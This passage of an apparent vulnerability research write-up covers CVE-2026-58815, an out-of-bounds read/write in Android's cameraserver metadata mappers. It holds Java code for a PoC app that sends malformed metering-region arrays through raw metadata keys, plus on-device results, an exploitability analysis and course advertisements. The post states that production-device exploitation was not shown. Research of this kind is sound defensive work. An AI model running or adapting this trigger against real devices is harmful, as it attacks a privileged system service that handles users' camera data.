                == PackageManager.PERMISSION_GRANTED) {
            startCamera();
        } else {
            requestPermissions(new String[]{Manifest.permission.CAMERA}, 1);
        }
    }

    @Override
    public void onRequestPermissionsResult(int req, String[] perms, int[] grants) {
        if (grants.length > 0 && grants[0] == PackageManager.PERMISSION_GRANTED) {
            startCamera();
        } else {
            status("CAMERA permission denied");
        }
    }

    private void status(String s) {
        Log.i(TAG, s);
        runOnUiThread(() -> mStatus.setText("CVE-2026-58815 PoC variant " + mVariant + "\n\n" + s));
    }

    // Trailing slots get per-slot markers 0x5c5c00NN; the leading 5 ints are a
    // valid rectangle so iteration j=0 behaves normally.
    private static int[] buildBadRegions(int variant, Rect crop2x) {
        int count;
        switch (variant) {
            case 2: count = 7; break;
            case 3: count = 11; break;
            case 4: count = 16; break;
            case 5: count = 9; break;
            case 6: count = 8; break;
            default: count = 6; break;
        }
        int[] a = new int[count];
        a[0] = crop2x.left + 10;
        a[1] = crop2x.top + 10;
        a[2] = 100;
        a[3] = 100;
        a[4] = 50;
        for (int i = 5; i < count; i++) {
            a[i] = 0x5c5c0000 | i;
        }
        return a;
    }

    // Poison-then-shrink (mirrors the upstream regression test): stale poison
    // bytes remain after the payload on the app side.
    private static int[] buildPoison(int variant, Rect crop2x) {
        int count = buildBadRegions(variant, crop2x).length;
        int plen = ((count + 5) + 4) / 5 * 5;
        int[] p = new int[plen];
        for (int r = 0; r < plen; r += 5) {
            p[r] = crop2x.left + 10 + r;
            p[r + 1] = crop2x.top + 10 + r;
            p[r + 2] = 100;
            p[r + 3] = 100;
            p[r + 4] = 50;
        }
        return p;
    }

    private void startCamera() {
        mHandler.post(() -> {
            try {
                CameraManager cm = getSystemService(CameraManager.class);
                String chosen = null;
                CameraCharacteristics chosenChars = null;
                for (String id : cm.getCameraIdList()) {
                    CameraCharacteristics c = cm.getCameraCharacteristics(id);
                    Range<Float> zr = c.get(CameraCharacteristics.CONTROL_ZOOM_RATIO_RANGE);
                    Log.i(TAG, "camera " + id + " zoomRatioRange=" + zr);
                    if (chosen == null && zr != null && zr.getUpper() > 1.0f) {
                        chosen = id;
                        chosenChars = c;
                    }
                }
                if (chosen == null) {
                    status("no camera with zoomRatioRange > 1 found");
                    return;
                }
                status("using camera " + chosen + ", opening...");
                openCamera(cm, chosen, chosenChars);
            } catch (Exception e) {
                Log.e(TAG, "startCamera", e);
                status("error: " + e);
            }
        });
    }

    private void openCamera(CameraManager cm, String id, CameraCharacteristics chars) {
        try {
            cm.openCamera(id, new CameraDevice.StateCallback() {
                @Override
                public void onOpened(CameraDevice camera) {
                    mCamera = camera;
                    createSession(camera, chars);
                }

                @Override
                public void onDisconnected(CameraDevice camera) {
                    status("camera disconnected (cameraserver died?)");
                }

                @Override
                public void onError(CameraDevice camera, int error) {
                    status("camera error " + error + " (cameraserver died?)");
                }
            }, mHandler);
        } catch (Exception e) {
            Log.e(TAG, "openCamera", e);
        }
    }

    private void createSession(CameraDevice camera, CameraCharacteristics chars) {
        try {
            ImageReader reader = ImageReader.newInstance(
                    640, 480, 35 /* ImageFormat.YUV_420_888 */, 2);
            reader.setOnImageAvailableListener(r -> {
                android.media.Image img = r.acquireLatestImage();
                if (img != null) img.close();
            }, mHandler);

            camera.createCaptureSession(
                    Collections.singletonList(reader.getSurface()),
                    new CameraCaptureSession.StateCallback() {
                        @Override
                        public void onConfigured(CameraCaptureSession session) {
                            fireTrigger(camera, session, chars, reader);
                        }

                        @Override
                        public void onConfigureFailed(CameraCaptureSession s) {
                            status("session configure failed");
                        }
                    }, mHandler);
        } catch (Exception e) {
            Log.e(TAG, "createSession", e);
        }
    }

    private void fireTrigger(CameraDevice camera, CameraCaptureSession session,
                             CameraCharacteristics chars, ImageReader reader) {
        try {
            Rect active = chars.get(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE);
            int w = active.width(), h = active.height();
            Rect crop2x = new Rect(w / 4, h / 4, 3 * w / 4, 3 * h / 4);

            CaptureRequest.Builder b =
                    camera.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
            b.addTarget(reader.getSurface());
            // HAL supports zoomRatio natively. Setting ZOOM_RATIO=1.0 keeps
            // useZoomRatio=false (so separateZoomFromCropLocked runs) while
            // ensuring the ZOOM_RATIO entry already exists: the mapper's
            // internal update() then writes in place instead of triggering a
            // blob realloc that would leave zeroed slack after our payload
            // (zeroed slack -> OOB weight read returns 0 -> write skipped).
            b.set(CaptureRequest.CONTROL_ZOOM_RATIO, 1.0f);
            b.set(CaptureRequest.SCALER_CROP_REGION, crop2x);

            // Raw int[] keys via the public Key(String, Class) ctor bypass the
            // MeteringRectangle[] marshaler - no multiple-of-5 validation.
            int[] bad = buildBadRegions(mVariant, crop2x);
            int[] poison = buildPoison(mVariant, crop2x);
            String[] regionTags = (mVariant == 1)
                    ? new String[]{"android.control.aeRegions",
                                   "android.control.afRegions",
                                   "android.control.awbRegions"}
                    : new String[]{"android.control.aeRegions"};
            for (String tag : regionTags) {
                CaptureRequest.Key<int[]> k = new CaptureRequest.Key<>(tag, int[].class);
                b.set(k, poison);
                b.set(k, bad);
            }
            // Variants >= 2: groom distinctive values into tags the mapper
            // never rewrites. If the phantom write lands on a live payload in
            // cameraserver's rebuilt blob, these change in the dumpsys output.
            if (mVariant >= 2) {
                CaptureRequest.Key<int[]> fpsKey = new CaptureRequest.Key<>(
                        "android.control.aeTargetFpsRange", int[].class);
                b.set(fpsKey, new int[]{0x11111111, 0x22222222});
                CaptureRequest.Key<float[]> gainsKey = new CaptureRequest.Key<>(
                        "android.colorCorrection.gains", float[].class);
                b.set(gainsKey, new float[]{2.0f, 3.0f, 4.0f, 5.0f});
            }
            // Trailing nonzero entry: depending on camera_metadata's packing,
            // a malformed region payload may be followed by this value instead
            // of zeroed slack, making the phantom-window weight read nonzero.
            b.set(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION, 777);

            status("sending malformed requests (variant " + mVariant
                    + ", count=" + bad.length + ")...");
            final CaptureResult.Key<int[]> aeResultKey =
                    new CaptureResult.Key<>("android.control.aeRegions", int[].class);
            session.setRepeatingRequest(b.build(),
                    new CameraCaptureSession.CaptureCallback() {
                        @Override
                        public void onCaptureCompleted(CameraCaptureSession s,
                                                       CaptureRequest r,
                                                       TotalCaptureResult result) {
                            int n = ++mCompleted;
                            if (n == 5 || n % 200 == 0) {
                                // If the mapper ran, it derived zoomRatio from
                                // our crop region and wrote it into metadata.
                                Float zoom = result.get(CaptureResult.CONTROL_ZOOM_RATIO);
                                int[] ae = result.get(aeResultKey);
                                Log.i(TAG, "req " + n + ": zoomRatio=" + zoom
                                        + " aeRegions=" + Arrays.toString(ae)
                                        + " (cameraserver alive)");
                            }
                            if (n % 25 == 0) {
                                Float zoom = result.get(CaptureResult.CONTROL_ZOOM_RATIO);
                                status("variant " + mVariant + " | AE int[" + bad.length + "]\n\n"
                                        + "SCALER_CROP_REGION: 2x zoom\n\n"
                                        + "requests completed: " + n + "\n"
                                        + "mapper rewrote zoomRatio -> 2.0 (crop-derived)\n"
                                        + "result zoomRatio=" + zoom + "\n\n"
                                        + "cameraserver process: alive");
                            }
                        }
                    }, mHandler);
        } catch (Exception e) {
            Log.e(TAG, "fireTrigger", e);
            status("error: " + e);
        }
    }

    @Override
    protected void onDestroy() {
        super.onDestroy();
        if (mCamera != null) mCamera.close();
        if (mThread != null) mThread.quitSafely();
    }
}

dumpsys media.camera gives us the rare pleasure of watching the vulnerable code chew on our data: cameraserver's post-mapper request dump.

dumpsys media.camera: aeRegions int32[6] in the request, zoomRatio rewritten to 2.0 by the mapper
"Last request sent": the malformed aeRegions int32[6] inside cameraserver, and zoomRatio = 2.0, rewritten by the mapper from the 1.0 we sent, proving separateZoomFromCropLocked executed.

To find out whether the OOB write can be made to fire on a real system, we ran a variant sweep: array lengths 6, 7, 8, 9, 11, and 16, a distinct marker (0x5c5c00NN) in every trailing slot, and distinctive values groomed into the neighboring aeTargetFpsRange and colorCorrectionGains entries. For the OOB write itself, the answer across every length is no: the gate word the vulnerable-only iteration reads past the payload always came back zero (even at +0 bytes, the first int past the array, with count=9), cameraserver never crashed, and no tombstone appeared. In cameraserver's rebuilt blob the bytes after a payload are zeroed slack, and no app-side arrangement changes that.

The sweep also produced rewrites of our trailing markers at some lengths, and reading them correctly matters (a first version of this post overclaimed here). The post-mapper dump for a 16-element array:

android.control.aeRegions (10004): int32[16]
  [21 21 21 21 ]                   tuple at offset 0: our one legitimate rectangle, scaled
  [50 1919 1439 1920 ]             weight (never rewritten), then tuple at offset 5: complete, clamp-scaled
  [1440 1549533193 1919 1439 ]     weight at i32[9] (never rewritten); tuple at offset 10: complete, clamp-scaled
  [1920 1440 1549533198 1549533199 ]  weight at i32[14] intact; i32[15]: the incomplete final tuple, intact

Offsets 5..9 and 10..14 form complete five-int tuples, and both the vulnerable and the patched loop process those. Clamping our ~1.5-billion markers to {1919, 1439, 1920, 1440} (the sensor's 1920x1440 bounds) is expected behavior that produces byte-identical output on a patched device, so those rewrites do not demonstrate the vulnerability at all. The only activity that distinguishes the builds is the final incomplete tuple: the vulnerable loop alone continues to offset 15 and reads its weight at i32[19], 12 bytes past the payload. On-device that read returned zero in every variant, the write was skipped, and the marker in slot 15 survived. The correct conclusion from the device runs is narrower: reachability of the malformed array into the mapper is proven, as is the zero gate word; vulnerability-specific corruption on a production build is not shown by these runs.

AE array lengthbehavior on-device (identical on both builds except the final incomplete tuple)
6, 7, 8, 9legitimate tuple scaled; trailing markers of the incomplete final tuple intact; OOB gate word zero even at +0 past the payload
11complete tuple at offset 5 clamp-scaled (expected); final incomplete tuple's gate (i32[14], +12 past payload) zero, write skipped
16complete tuples at offsets 5 and 10 clamp-scaled (expected); final gate (i32[19], +12 past payload) zero; cameraserver alive throughout

And even a non-zero gate is only the first gate: necessary for the OOB write, not sufficient for exploitation. Useful corruption, control of the surrounding heap layout, and bypasses for the mitigations on a given target are separate challenges, and whether app-controlled requests can produce exploitable corruption on production devices remains unproven.

Exploitability

  • Vector: an installed app with CAMERA permission already granted (the initial permission approval is a separate prerequisite), or a malicious camera HAL via the result path.
  • Context: cameraserver runs as uid 1047 (u:r:cameraserver:s0). Compromising it is already a meaningful sandbox escape and a potential camera-privacy compromise (see below); a second vulnerability is needed for broader privileges, not for the camera-service compromise itself to matter.
  • Primitive: OOB read of a weight word gates a 4-int OOB write whose values are scaled coordinates clamped to the active-array bounds: a corruption knob, not a pointer-control knob. Blind (no read-back channel), gated (needs a non-zero word past the payload), with the read landing 0 to 12 bytes past the payload depending on the array length (+12 in the six-element examples here).
  • Device dependence: the mappers only run when the HAL advertises zoom-ratio / distortion-correction / rotate-and-crop capabilities, standard on current multi-camera flagships.

Security impact if successfully exploited

Successful exploitation yielding code execution in cameraserver would cross the originating app's sandbox boundary into Android's camera service. Depending on the device's camera pipeline and buffer access, an attacker could potentially observe or manipulate camera content associated with other applications, creating a significant privacy risk.

This would not automatically grant microphone access, access to other apps' private files, or root privileges. The compromised service could also provide access to camera HAL interfaces and resources unavailable to an ordinary app, potentially supporting further exploitation.

These are potential consequences of camera-service code execution. Our current PoC establishes app-side reachability and demonstrates memory corruption in a host harness; it does not demonstrate production-device code execution, interception, or bypass of camera privacy indicators.

What We Proved, and What Remains Unproven

statementstatusevidence
Malformed region arrays reach cameraserver from a stock SDK appProven, on-devicepost-mapper dumpsys: int32[6..16] region arrays in the request; mapper-derived zoomRatio rewritten
The vulnerable loop reads past the entry payloadProven, harnessASan heap-buffer-overflow READ on the request and result paths
The OOB write corrupts adjacent live metadataProven, harnessxentry: aeTargetFpsRange {30,30} → {0,1023} on the vulnerable build, every entry untouched on the patched build
Vulnerability-specific corruption on a production buildNot demonstratedcomplete-tuple rewrites are identical on both builds; the final incomplete tuple's gate read was zero in every on-device variant
Production code execution in cameraserverNot demonstratedneeds a non-zero gate word plus layout control plus mitigation bypasses
Camera-content interception or privacy-indicator bypassNot demonstrateda potential consequence of cameraserver code execution, outside what this PoC shows

Lessons

  • Invariants need a bouncer. "Metering regions are multiples of 5" existed as convention across Java marshalling, JNI, and the C metadata library, and was enforced nowhere. The fix hardens the loops, but the marshalling layer still accepts arbitrary lengths; defense in depth would reject malformed arrays at the door.
  • Public "extensibility" constructors are attack surface. The Key(String, Class) escape hatch quietly defeats the type safety the typed keys were supposed to provide. Worth grepping your own codebase for name-resolved tag lookups that trust caller-declared types.
  • Regression tests as PoC blueprints. The fix shipped a ready-made trigger recipe, a gift for both defenders verifying patches and researchers building reproducers.

Want to find and exploit bugs like this yourself? cameraserver is a privileged native parser with an app-facing API, exactly the kind of target we fuzz in Android Userland Fuzzing & Exploitation, the only course that takes you from AFL++/libFuzzer harnesses on Android native code, through crash triage and root-cause analysis, to a working exploit.

  • Android Userland Fuzzing & Exploitation: fuzz privileged native services like this one, from crash to EoP PoC
  • Android Application Security (free): app components, permissions, and the IPC surfaces this bug crosses
  • Advanced Android Hacking: chaining vulnerabilities across system components into full device compromise

References

  • Android Security Bulletin — October 2026
  • Fix commit aff9120e: "Camera: Fix heap OOB read/write in camera mappers"
  • Reachability: frameworks/base camera2/impl/CameraMetadataNative.java, setBase() / getMarshalerForKey(); CaptureRequest.Key public constructor

Camera stacks are privileged native parsers with an app-facing API, a reliable place to find this bug class. Learn to fuzz and exploit Android native code in Android Userland Fuzzing & Exploitation.